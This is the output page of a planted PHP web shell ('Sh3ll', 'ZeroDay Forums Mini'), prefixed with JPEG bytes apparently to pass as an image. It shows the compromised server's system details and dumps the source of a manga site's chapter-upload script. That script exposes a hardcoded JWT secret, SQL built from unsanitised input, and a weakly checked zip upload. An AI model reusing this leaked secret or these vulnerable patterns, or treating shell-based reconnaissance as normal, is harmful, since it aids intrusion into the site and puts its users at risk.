ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/okanime.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/okanime.top/zip_upload_one.php
<?php
session_start();
define('ROOT_PATH', dirname(__FILE__) . '/');
require ROOT_PATH."include/configs.php";
require ROOT_PATH."include/const.php";
require ROOT_PATH."lib/class_info.php";
global $INFO;
$CORE		=	new info();
include ROOT_PATH.'lib/class_jsonwebtoken.php';
require ROOT_PATH."lib/class_functions.php";
$func   = new FUNC;
$CORE->input = $func->get_input();
require ROOT_PATH."lib/class_display.php";
$print = new display();
require ROOT_PATH."lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
require ROOT_PATH."include/functions/index.php";
include ROOT_PATH.'lib/watermark.class.php';
if(isset($_COOKIE['cookie_local_token_new']) and $_COOKIE['cookie_local_token_new']!='') {
    $ob_user = new stdClass();
    $ob_user = JWT::decode($_COOKIE['cookie_local_token_new'], 'NHG#789-2017', array('HS256'));
    $user_id = intval($ob_user->user_id);
    $row_user = $DB->fetch_row($DB->query("SELECT user_type FROM tb_user WHERE user_id='$user_id'"));
    if (!$row_user or !in_array($row_user['user_type'], array('cbnv', 'staff'))) {
        $print->refresh('index.php');
        exit();
    }
}else{
    $print->refresh('index.php');
    exit();
}
//check option
$q_option = $DB->query("SELECT * FROM tb_options");
while ($r_option = $DB->fetch_row($q_option)){
    $arr_option[$r_option['option_name']] = $r_option['option_value'];
}

/*$truyen_id = $_POST['id'] ?? 0;
$chuong_id = $_POST['chuong_id'] ?? 0;*/
$arr['status']=0;
$arr['message']='test';
if(isset($CORE->input['submitbt'])){
    $truyen_id = $CORE->input['id'] ?? 0;
    $chuong_id = $CORE->input['chuong_id'] ?? 0;

    //$chuong_server = $CORE->input['chuong_server'];
    $f = $CORE->input['f'];

    $txt_sensitive = '';
    if(isset($f['sensitive_chap_id']) and !empty($f['sensitive_chap_id'])){
        $txt_sensitive = implode('@',$f['sensitive_chap_id']).'@';
    }
    $url_get = $CORE->input['url_get'] ?? '';
    $txt_lock_to_date = '';
    if(isset($f['lock_to_date']) and $f['lock_to_date']!='') {
        $lock_to_date = $f['lock_to_date'];
        $txt_lock_to_date = date('Y-m-d H:i:s', strtotime($lock_to_date));
    }
    $txt_chuong_epi = $f['chuong_epi'];
    $arr_chuong_epi = explode('|',$f['chuong_epi']);
    if(isset($arr_chuong_epi)){
        $txt_chuong_epi = $arr_chuong_epi[0];
    }
    if($chuong_id==0){
        if($txt_lock_to_date!='') {
            $arr_insert = array('truyen_id' => $truyen_id, 'chuong_server' => '', 'chuong_name' => $f['chuong_name'], 'chuong_fname' => $func->format_string($f['chuong_name']), 'chuong_pos' => $f['chuong_pos'], 'chuong_number_img' => 0, 'chuong_new' => '', 'chuong_hit' => 0, 'chuong_point' => 1, 'time_post' => date('Y-m-d H:i:s'), 'user_post' => $ob_user->user_id, 'sensitive_chap_id' => $txt_sensitive, 'lock_to_date' => $txt_lock_to_date,'chuong_epi'=>trim($txt_chuong_epi));
        }else{
            $arr_insert = array('truyen_id' => $truyen_id, 'chuong_server' => '', 'chuong_name' => $f['chuong_name'], 'chuong_fname' => $func->format_string($f['chuong_name']), 'chuong_pos' => $f['chuong_pos'], 'chuong_number_img' => 0, 'chuong_new' => '', 'chuong_hit' => 0, 'chuong_point' => 1, 'time_post' => date('Y-m-d H:i:s'), 'user_post' => $ob_user->user_id, 'sensitive_chap_id' => $txt_sensitive,'chuong_epi'=>trim($txt_chuong_epi));
        }
        $chuong_id = $DB->do_insert('tb_chuong',$arr_insert);

    }else{
        if($txt_lock_to_date!='') {
            $arr_update = array('chuong_name' => $f['chuong_name'], 'chuong_fname' => $func->format_string($f['chuong_name']), 'chuong_pos' => $f['chuong_pos'], 'time_post' => date('Y-m-d H:i:s'), 'user_post' => $ob_user->user_id, 'sensitive_chap_id' => $txt_sensitive, 'lock_to_date' => $txt_lock_to_date,'chuong_epi'=>trim($txt_chuong_epi));
        }else{
            $arr_update = array('chuong_name' => $f['chuong_name'], 'chuong_fname' => $func->format_string($f['chuong_name']), 'chuong_pos' => $f['chuong_pos'], 'time_post' => date('Y-m-d H:i:s'), 'user_post' => $ob_user->user_id, 'sensitive_chap_id' => $txt_sensitive,'chuong_epi'=>trim($txt_chuong_epi));
        }
        $DB->do_update('tb_chuong',$arr_update," WHERE chuong_id='$chuong_id' ");
        if($url_get!='' or (isset($_FILES["zip_file"]) and $_FILES["zip_file"]["name"]!='')){
            delete_img_chapter($chuong_id);
        }

    }
    $tmp_folder_name = uniqid();
    $targetdir = 'upload/tmp/'.$tmp_folder_name;
    if(!is_dir($targetdir)){
        mkdir($targetdir,0755,true);
    }
    if($url_get!=''){
        include 'lib/simple_html_dom.php';
        $referer = 'https://1stkissmanga.me';
        $content = get_content_page_chap($url_get,$referer);
        $html = str_get_html($content);
        $i = 1;
        foreach ($html->find('div.reading-content div.page-break') as $val){
            $url_img = trim($val->find('img',0)->src);
            $content_img = get_content_page_chap($url_img,$referer);
            $img_local = $targetdir.'/'.$i.'.jpg';
            file_put_contents($img_local, $content_img);
            $arr_img[] = $img_local;
            $i++;
        }
        $arr_img_return = post_ftp($arr_img,$truyen_id,$chuong_id);

    }else{
        //zip upload
        if($_FILES["zip_file"]["name"] and $_FILES["zip_file"]["name"]!='') {
            $filename = $_FILES["zip_file"]["name"];
            $source = $_FILES["zip_file"]["tmp_name"];
            $type = $_FILES["zip_file"]["type"];
            $name = explode(".", $filename);
            $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
            foreach($accepted_types as $mime_type) {
                if($mime_type == $type) {
                    $okay = true;
                    break;
                }
            }
            $continue = strtolower($name[1]) == 'zip' ? true : false;
            if(!$continue) {
                $message = "The file you are trying to upload is not a .zip file. Please try again.";
                echo $message;
                exit();
            }
            $filenoext = basename ($filename, '.zip');  // absolute path to the directory where zipper.php is in (lowercase)
            $filenoext = basename ($filenoext, '.ZIP');  // absolute path to the directory where zipper.php is in (when uppercase)

            $targetzip = $targetdir.'/'.$filenoext.'.zip';
            /* here it is really happening */
            if(move_uploaded_file($source, $targetzip)) {
                $zip = new ZipArchive();
                if ($zip->open($targetzip) === true) {
                    /*for($i = 0; $i < $zip->numFiles; $i++) {
                        $filename = $zip->getNameIndex($i);
                        $fileinfo = pathinfo($filename);
                        $arr_img_zip[] = $fileinfo['basename'];
                    }*/
                    $zip->extractTo($targetdir);
                    $zip->close();
                }
                unlink($targetzip);
                $arr_list_file = scanDirAndSubdir($targetdir);
                $folder = end($arr_list_file);
                $last_key = array_key_last($arr_list_file);
                if(is_dir($folder)) {
                    unset($arr_list_file[$last_key]);
                }else{
                    $folder = $targetdir;
                }
                foreach($arr_list_file as $key=>$val){
                    $arr_img_zip[] = basename($val);
                }
                //$message = "Your .zip file was uploaded and unpacked.<br/>";
            } else {
                echo "There was a problem with the upload. Please try again.";
                exit();
            }
            if(isset($arr_img_zip) and !empty($arr_img_zip)) {
                function cmp($a, $b)
                {
                    $arr_img_name_a = explode('.',$a);
                    $arr_img_name_b = explode('.',$b);
                    if(is_numeric($arr_img_name_a[0])) {
                        if ($arr_img_name_a[0] == $arr_img_name_b[0]) {
                            return 1;
                        }
                        return ($arr_img_name_a[0] > $arr_img_name_b[0]) ? 1 : -1;
                    }else{
                        if(strpos($arr_img_name_a[0],'_')===false and strpos($arr_img_name_a[0],'(')===false){
                            if (intval($arr_img_name_a[0]) == intval($arr_img_name_b[0])) {
                                return 1;
                            }
                            return (intval($arr_img_name_a[0]) > intval($arr_img_name_b[0])) ? 1 : -1;
                        }
                        if(strpos($arr_img_name_a[0],'_')!==false){
                            $name_a = intval(str_replace('pic_','',$arr_img_name_a[0]));
                            $name_b = intval(str_replace('pic_','',$arr_img_name_b[0]));
                            if ($name_a == $name_b) {
                                return 1;
                            }
                            return ($name_a > $name_b) ? 1 : -1;
                        }
                        if(strpos($arr_img_name_a[0],'(')!==false){
                            preg_match('#\((.*?)\)#is',$arr_img_name_a[0],$match_a);
                            $name_a = intval($match_a[1]);
                            preg_match('#\((.*?)\)#is',$arr_img_name_b[0],$match_b);
                            $name_b = intval($match_b[1]);
                            if ($name_a == $name_b) {
                                return 1;
                            }
                            return ($name_a > $name_b) ? 1 : -1;
                        }
                    }

                }
                usort ( $arr_img_zip , 'cmp');
                /*$arr_img_name = explode('.',$arr_img_zip[0]);
                if(is_numeric($arr_img_name[0])){
                    sort($arr_img_zip, SORT_NUMERIC);
                }else{
                    if(strpos($arr_img_name[0],'(')!==false){
                        sort($arr_img_zip, SORT_NUMERIC);
                    }else{
                        sort($arr_img_zip);
                    }
                }*/

                $i=1;
                foreach ($arr_img_zip as $img) {
                    $arr_img_name_file = explode('.',$img);
                    $img_local = $folder.'/'.$img;
                    $info   = getimagesize($img_local);
                    if($info['mime']!='image/webp') {
                        if($arr_option['use_watermark']==1) {
                            //watermark
                            $watermark = new Watermark($img_local);
                            $watermark->setWatermarkImage($arr_option['watermark']);
                            switch ($arr_option['watermark_pos']) {
                                case 'bottom_right':
                                    $watermark->setType(Watermark::BOTTOM_RIGHT);
                                    break;
                                case 'top_right':
                                    $watermark->setType(Watermark::TOP_RIGHT);
                                    break;
                                case 'center':
                                    $watermark->setType(Watermark::CENTER);
                                    break;
                                case 'top_left':
                                    $watermark->setType(Watermark::TOP_LEFT);
                                    break;
                                case 'bottom_left':
                                    $watermark->setType(Watermark::BOTTOM_LEFT);
                                    break;
                            }
                            $a = $watermark->saveAs($img_local);
                        }
                        //Create an image object.
                        /*$im = imagecreatefromjpeg($img_local);
                        $newImagePath = $targetdir.'/' . $arr_img_name_file[0] . '.webp';
                        $quality = 100;
                        imagewebp($im, $newImagePath, $quality);
                        imagedestroy($im);
                        unlink($img_local);*/
                        $arr_img[] = $img_local;
                        $i++;
                    }else{
                        $newImagePath = $img_local.'.webp';
                        rename($img_local, $newImagePath);
                        $arr_img[] = $newImagePath;
                    }
                }

                $arr_img_return = post_ftp($arr_img, $truyen_id, $chuong_id);
            }
        }
    }
    if(!empty($arr_img_return)){
        //$DB->query("DELETE FROM tb_chuong_img WHERE truyen_id='$truyen_id' AND chuong_id='$chuong_id' ");
        foreach($arr_img_return as $key=>$val){
            $arr_insert_img = array('truyen_id'=>$truyen_id,'chuong_id'=>$chuong_id,'domain'=>$val['domain'],'url_dir'=>$val['url_dir'],'file_name'=>$val['file_name'],'path_of_storage'=>$val['path_of_storage'],'chuong_img_pos'=>$key,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_id);
            $DB->do_insert('tb_chuong_img',$arr_insert_img);
        }
    }
    rrmdir($targetdir);
    //update follow
    $DB->query("UPDATE tb_follow SET already_read='' WHERE truyen_id='$truyen_id'");
    //update num img chap
    $row_count_img = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong_img WHERE chuong_id='$chuong_id'"));
    $DB->query("UPDATE tb_chuong SET chuong_number_img='".$row_count_img['total']."' WHERE chuong_id='$chuong_id' ");
    //update truyen
    $row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
    $DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."' WHERE truyen_id='$truyen_id'");
    $q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
    $i=1;
    while($r_chuong = $DB->fetch_row($q_chuong)){
        if($i==1){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
        if($i==2){
            if($r_chuong['chuong_id']>0){
                $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
            }
        }
        $i++;
    }
    //update chuong
    $q_img = $DB->query("SELECT url_dir,file_name FROM tb_chuong_img WHERE chuong_id='" . $chuong_id . "' ORDER BY chuong_img_pos ASC");
    $arr_url_img = array();
    while($r_img = $DB->fetch_row($q_img)){
        $arr_url_img[] = $r_img['url_dir'] . '/' . $r_img['file_name'];
    }
    if(isset($arr_url_img) and !empty($arr_url_img)){
        $txt_url_img = json_encode($arr_url_img);
        $arr_insert_chuongimg = array('chuong_id'=>$chuong_id,'chuong_img_show'=>$txt_url_img);
        $row_check_chuongimg = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong_imgshow WHERE chuong_id='$chuong_id' "));
        if(!$row_check_chuongimg){
            $DB->do_insert('tb_chuong_imgshow',$arr_insert_chuongimg);
        }else{
            $DB->do_update('tb_chuong_imgshow',$arr_insert_chuongimg, " WHERE chuong_id='$chuong_id' ");
        }
    }
    $arr['status']=1;
    $arr['message']='The file have been uploaded!';
    echo $chuong_id;
    exit();
}
?>

ZeroDay Forums Mini